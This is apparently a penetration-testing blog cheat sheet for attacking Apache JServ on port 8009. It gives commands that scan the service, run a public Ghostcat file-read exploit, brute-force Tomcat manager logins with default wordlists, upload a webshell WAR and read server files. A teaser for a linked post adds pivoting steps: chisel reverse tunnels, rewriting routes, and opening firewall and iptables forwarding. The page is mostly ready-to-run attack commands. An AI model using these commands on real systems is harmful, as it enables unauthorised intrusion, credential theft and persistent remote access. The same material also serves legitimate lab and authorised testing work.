Skip to main content

Apache Jserv - Port 8009

By

 

NMAP 

nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 10.10.10.10

Ghost Vulnerability - LFI

Patached versions: after 9.0.31, 8.5.51, and 7.0.100  

git clone https://github.com/doggycheng/CNVD-2020-10487.git 
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
AJPY 

git clone https://github.com/hypn0s/AJPy.git
python3 setup.py  install

#Get Version
python tomcat.py version 10.10.10.10

python tomcat.py -v  bf -U /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_users.txt -P /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_users.txt /manager/html 10.10.10.10

#Upload WAR File 
python tomcat.py upload -u tomcat -p tomcat webshell.war 172.17.0.2

#List available applications
python tomcat.py list -u tomcat -p tomcat 172.17.0.2

#GHOST LFI CVE exploit
python tomcat.py read_file --webapp=examples /WEB-INF/web.xml 172.17.0.2
Other attacks - Rev proxy attack

nginx Module abuse - Rev proxy attack



Labels:

Comments

Post a Comment

Popular posts from this blog

Pivoting into an internal network behind firewall

By
    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...
Post a Comment
Read more